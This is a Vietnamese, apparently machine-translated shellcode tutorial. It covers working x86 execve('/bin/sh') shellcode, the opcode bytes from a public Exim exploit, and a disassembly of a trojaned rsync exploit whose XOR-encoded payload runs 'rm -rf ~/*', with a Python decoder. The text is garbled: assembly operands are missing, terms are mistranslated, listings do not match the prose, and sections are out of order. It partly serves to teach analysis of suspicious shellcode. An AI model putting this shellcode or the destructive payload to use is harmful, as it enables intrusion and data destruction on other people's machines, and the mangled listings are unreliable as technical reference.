- CALL đẩy địa chỉ của dòng /bin/sh vào ngăn xếp, chưa kết thúc bằng byte 0; lệnh db chỉ khởi tạo một chuỗi byte; sau đó việc thực thi lại nhảy về đầu mã shell;
- địa chỉ của chuỗi sau đó được lấy ra khỏi ngăn xếp và được lưu trong ESI. Bây giờ chúng ta có thể truy cập địa chỉ bộ nhớ bằng địa chỉ chuỗi.

Từ giờ trở đi, bạn có thể sử dụng cấu trúc shellcode chứa đầy thứ gì đó hữu ích. Hãy phân tích từng bước các hành động đã lên kế hoạch của chúng tôi:

Thêm EAX bằng các số 0 để chúng có sẵn cho mục đích của chúng tôi;
- kết thúc dòng bằng byte 0 được sao chép từ EAX (chúng tôi sẽ sử dụng thanh ghi AL);
- hãy tự hỏi rằng ECX sẽ chứa một mảng đối số bao gồm địa chỉ của chuỗi và một con trỏ null; nhiệm vụ này sẽ được hoàn thành bằng cách ghi địa chỉ chứa trong ESI vào ba byte đầu tiên, sau đó là một con trỏ null (các số 0 lại được lấy từ EAX);
- lưu số cuộc gọi hệ thống trong (0x0b) EAX;
- lưu đối số đầu tiên thành execve(2) (nghĩa là địa chỉ dòng được lưu trong ESI) trong EBX;
- lưu địa chỉ mảng trong ECX (ESI + 8);
- lưu địa chỉ của con trỏ null trong EDX (ESI+12);
- thực hiện ngắt 0x80.

Mã lắp ráp kết quả được hiển thị trong Liệt kê 13.

Liệt kê 13. Mã lắp ráp được làm lại get_shell.asm jmp ngắn mycall ; Ngay lập tức chuyển sang shellcode lệnh gọi: pop esi ; Lưu trữ địa chỉ của "/bin/sh" trong ESI xor eax, eax ; Loại bỏ byte di chuyển EAX, al; Viết byte rỗng vào cuối chuỗi mov dword , esi ; , I E. bộ nhớ ngay bên dưới chuỗi; "/bin/sh", sẽ chứa mảng được trỏ tới bởi ; đối số thứ hai của execve(2); do đó chúng ta lưu trữ vào; địa chỉ của chuỗi... mov dword , eax ; ...và trong con trỏ NULL (EAX là 0) mov al, 0xb ; Lưu trữ số của tòa nhà cao tầng (11) trong EAX lea ebx, ; Copy địa chỉ của chuỗi trong EBX lea ecx, ; Đối số thứ hai của execve(2) lea edx, ; Đối số thứ ba cho execve(2) (con trỏ NULL) int 0x80 ; Thực hiện lệnh gọi hệ thống mycall: gọi shellcode ; Đẩy địa chỉ của "/bin/sh" vào ngăn xếp db "/bin/sh"

Hãy trích xuất các opcode, Liệt kê 14:

$ gcc -o get_shell get_shell.c $ ./get_shell sh-2.05b$ thoát $

Niềm tin là tốt...
Hãy xem mã shell từ lỗ hổng (http://www.securityfocus.com/bid/12268/info/), được viết bởi Rafael San Miguel Carrasco. Nó khai thác lỗ hổng tràn bộ đệm trong chương trình Exim mail:

char tĩnh shellcode= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\ xb0\x0b\x89" "\xf3\x8d\x4e\x08\ x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\ x62\x69\x6e" "\x2f\x73\x68\x58";

Hãy tháo rời nó bằng cách sử dụng ndisasm, liệu chúng ta sẽ có được thứ gì đó quen thuộc chứ? Liệt kê 16.

Liệt kê 16. Phân tách bằng ndisasm$ echo -ne "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"\ "\xf3\x8d\x4e\x08 \x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"\ "\x2f\x73\x68\x58" | ndisasm -u - 00000000 EB17 jmp ngắn 0x19 ; Lần đầu tiên nhảy tới CALL 00000002 5E pop esi ; Lưu trữ địa chỉ của chuỗi trong ; ESI 00000003 897608 mov, esi; Viết địa chỉ của chuỗi vào ; ESI + 8 00000006 31C0 xor eax,eax ; Loại bỏ EAX 00000008 884607 mov, al ; Chấm dứt chuỗi null 0000000B 89460C mov ,eax ; Viết con trỏ null tới ESI + 12 0000000E B00B mov al,0xb ; Số của tòa nhà thực thi(2) 00000010 89F3 mov ebx,esi ; Lưu trữ địa chỉ của chuỗi trong ; EBX (đối số đầu tiên) 00000012 8D4E08 lea ecx, ; Đối số thứ hai (con trỏ tới mảng ;) 00000015 31D2 xor edx,edx ; Loại bỏ EDX (đối số thứ ba) 00000017 CD80 int 0x80 ; Thực hiện cuộc gọi syscall 00000019 E8E4FFFFFF 0x2; Đẩy địa chỉ của chuỗi và ; nhảy sang thứ hai; lệnh 0000001E 2F das; "/bin/shX" 0000001F 62696E bị ràng buộc ebp, 00000022 2F das 00000023 7368 jnc 0x8d 00000025 58 pop eax $

...nhưng kiểm soát tốt hơn
Tuy nhiên, cách tốt nhất vẫn là thói quen kiểm tra shell code trước khi sử dụng. Ví dụ: vào ngày 28 tháng 5 năm 2004, kẻ chơi khăm đã đăng một khai thác công khai cho rsync (http://www.seclists.org/lists/fulldisclosure/2004/May/1395.html), nhưng mã không rõ ràng: tuân theo một phần của mã được nhận xét tốt có một phần không dễ thấy, Liệt kê 17.

Sau khi xem main(), rõ ràng là khai thác đang chạy cục bộ:

(dài) funct = [...] funct();

Vì vậy, để hiểu shellcode làm gì, chúng ta không cần phải chạy nó mà phải tháo rời nó, Liệt kê 18.

Liệt kê 18. Shellcode bị tháo rời, khó nhìn thấy$ echo -ne "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8[...]" | \ > ndisasm -u - 00000000 EB10 jmp ngắn 0x12 ; Chuyển đến CALL 00000002 5E pop esi; Lấy địa chỉ của byte 0x17 00000003 31C9 xor ecx,ecx ; Loại bỏ ECX 00000005 B14B mov cl,0x4b ; Thiết lập bộ đếm vòng lặp (xem ; hướng dẫn 0x0E) 00000007 B0FF mov al,0xff ; Thiết lập mặt nạ XOR 00000009 3006 xor, al ; XOR byte 0x17 với AL 0000000B FEC8 tháng 12 ; Giảm mặt nạ XOR 0000000D 46 inc esi ; Tải địa chỉ của byte tiếp theo 0000000E E2F9 vòng lặp 0x9; Tiếp tục XOR cho đến khi ECX=0 00000010 EB05 jmp short 0x17 ; Chuyển tới lệnh XOR đầu tiên 00000012 E8EBFFFFFF gọi 0x2 ; PUSH địa chỉ của byte tiếp theo và ; chuyển sang hướng dẫn thứ hai 00000017 17 pop ss […]

Như bạn có thể thấy, đây là shellcode tự sửa đổi: các lệnh 0x17 đến 0x4B được giải mã trong thời gian chạy bằng cách XOR giá trị của chúng từ AL, trước tiên được đệm bằng 0xFF và sau đó giảm dần trên mỗi lượt của vòng lặp. Sau khi giải mã, lệnh được thực thi (jmp short 0x17). Chúng ta hãy cố gắng hiểu lệnh nào thực sự được thực thi. Chúng ta có thể giải mã mã shell bằng Python, Liệt kê 19.

Liệt kê 19. Giải mã shell code bằng Python giải mã.py #!/usr/bin/env python sc = "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9" + \ "\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99" + \ "\xd9\x86\x9c\xf3\x81\x99\ xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81" + \ "\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\ xac\xb4\xbb" + \ "\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf" + \ "\x95\x4c\ x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7" + \ "\x7b\x35" print "".join()])

Kết xuất hex sẽ cho chúng ta ý tưởng đầu tiên: hãy xem Liệt kê 20.

Hmmm... /bin/sh, sh -c rm -rf ~/* 2>/dev/null ... Đừng quá lạc quan về mã! Nhưng để chắc chắn, chúng ta hãy tháo rời nó, Liệt kê 21.

Đầu tiên là câu lệnh CALL, ngay sau đó là dòng in kết xuất thập lục phân. Phần đầu của shellcode có thể được viết lại theo cách này, xem Liệt kê 22.

Hãy lưu các opcode, bắt đầu bằng lệnh 0x2a (42), Liệt kê 23:

Liệt kê 23. Kiểm tra những hàm nào được gọi$ ./decode_exp.py | cắt -c 43- | ndisasm -u - 00000000 5D pop ebp ; Lấy địa chỉ của chuỗi; "/bin/sh" 00000001 31C0 xor eax,eax ; Zero out EAX 00000003 50 đẩy eax; Đẩy con trỏ null vào ngăn xếp 00000004 8D5D0E lea ebx, ; Lưu trữ địa chỉ của ; "rm -rf ~/* 2>/dev/null" trong EBX 00000007 53 đẩy ebx ; và đẩy nó vào ngăn xếp 00000008 8D5D0B lea ebx, ; Lưu trữ địa chỉ của "-c" trong EBX 0000000B 53 push ebx ; và đẩy nó vào ngăn xếp 0000000C 8D5D08 lea ebx, ; Lưu trữ địa chỉ của "sh" trong EBX 0000000F 53 push ebx ; và đẩy nó vào ngăn xếp 00000010 89EB mov ebx,ebp ; Lưu trữ địa chỉ của "/bin/sh" trong ; EBX (đối số đầu tiên với execve()) 00000012 89E1 mov ecx,esp ; Lưu con trỏ ngăn xếp vào ECX (ESP ; trỏ tới"sh", "-c", "rm...") 00000014 31D2 xor edx,edx ; Đối số thứ ba cho execve() 00000016 B00B mov al,0xb ; Số của tòa nhà execve() 00000018 CD80 int 0x80 ; Thực hiện lệnh gọi tòa nhà 0000001A 89C3 mov ebx,eax ; Lưu trữ 0xb trong EBX (mã thoát=11) 0000001C 31C0 xor eax,eax ; Loại bỏ EAX 0000001E 40 inc eax; EAX=1 (số của tòa nhà exit()) 0000001F CD80 int 0x80 ; Thực hiện cuộc gọi hệ thống

Từ đó chúng ta có thể thấy rõ rằng execve(2) được gọi với một mảng các đối số sh, -c, rm -rf ~/* 2>/dev/null. Vì vậy, việc kiểm tra mã của bạn trước khi đưa vào hoạt động không bao giờ là vấn đề!

Shellcode là một đoạn mã được tích hợp trong một chương trình độc hại cho phép, sau khi lây nhiễm vào hệ thống mục tiêu của nạn nhân, lấy được mã shell lệnh, ví dụ /bin/bash trong các hệ điều hành giống UNIX, command.com trong MS-DOS màn hình đen và cmd .exe trong hệ điều hành Microsoft Windows hiện đại. Shellcode rất thường xuyên được sử dụng làm trọng tải khai thác.

mã vỏ

Tại sao điều này là cần thiết?

Như bạn hiểu, việc lây nhiễm vào hệ thống, khai thác lỗ hổng hoặc vô hiệu hóa một số dịch vụ hệ thống là chưa đủ. Tất cả những hành động này trong nhiều trường hợp đều nhằm mục đích giành quyền truy cập của quản trị viên vào máy bị nhiễm.

Vì vậy, phần mềm độc hại chỉ là một cách để xâm nhập vào máy và chiếm được shell, tức là quyền kiểm soát. Và đây là con đường trực tiếp dẫn đến rò rỉ thông tin bí mật, tạo ra mạng botnet biến hệ thống mục tiêu thành zombie hoặc đơn giản là thực hiện các chức năng phá hoại khác trên máy bị hack.

Shellcode thường được đưa vào bộ nhớ của chương trình máy chủ, sau đó quyền điều khiển được chuyển đến chương trình đó bằng cách khai thác các lỗi như tràn ngăn xếp hoặc tràn bộ đệm dựa trên đống hoặc bằng cách sử dụng các cuộc tấn công chuỗi định dạng.

Điều khiển được chuyển tới shellcode bằng cách ghi đè địa chỉ trả về trên ngăn xếp bằng địa chỉ của shellcode nhúng, ghi đè địa chỉ của các hàm được gọi hoặc thay đổi trình xử lý ngắt. Kết quả của tất cả những điều này là việc thực thi shellcode, mở ra dòng lệnh cho kẻ tấn công sử dụng.

Khi khai thác một lỗ hổng từ xa (nghĩa là khai thác), shellcode có thể mở một cổng TCP được xác định trước trên máy tính dễ bị tấn công để truy cập từ xa hơn vào shell lệnh. Mã này được gọi là shellcode liên kết cổng.

Nếu shellcode được kết nối với cổng máy tính của kẻ tấn công (với mục đích vượt qua hoặc rò rỉ qua NAT) thì mã đó được gọi là shellcode đảo ngược.

Các cách chạy shellcode vào bộ nhớ

Có hai cách để chạy shellcode vào bộ nhớ để thực thi:

  • Phương pháp mã độc lập vị trí (PIC) là mã sử dụng liên kết cứng nhắc của mã nhị phân (nghĩa là mã sẽ được thực thi trong bộ nhớ) với một địa chỉ hoặc dữ liệu cụ thể. Shellcode thực chất là một PIC. Tại sao sự ràng buộc chặt chẽ lại quan trọng như vậy? Shell không thể biết chính xác RAM sẽ được đặt ở đâu, vì trong quá trình thực thi các phiên bản khác nhau của chương trình bị xâm nhập hoặc phần mềm độc hại, chúng có thể tải shellcode vào các ô nhớ khác nhau.
  • Phương thức Xác định vị trí thực thi yêu cầu shellcode hủy đăng ký con trỏ cơ bản khi truy cập dữ liệu trong cấu trúc bộ nhớ độc lập với vị trí. Việc thêm (ADD) hoặc trừ (Reduce) các giá trị từ con trỏ bên dưới cho phép bạn truy cập một cách an toàn vào dữ liệu có trong shellcode.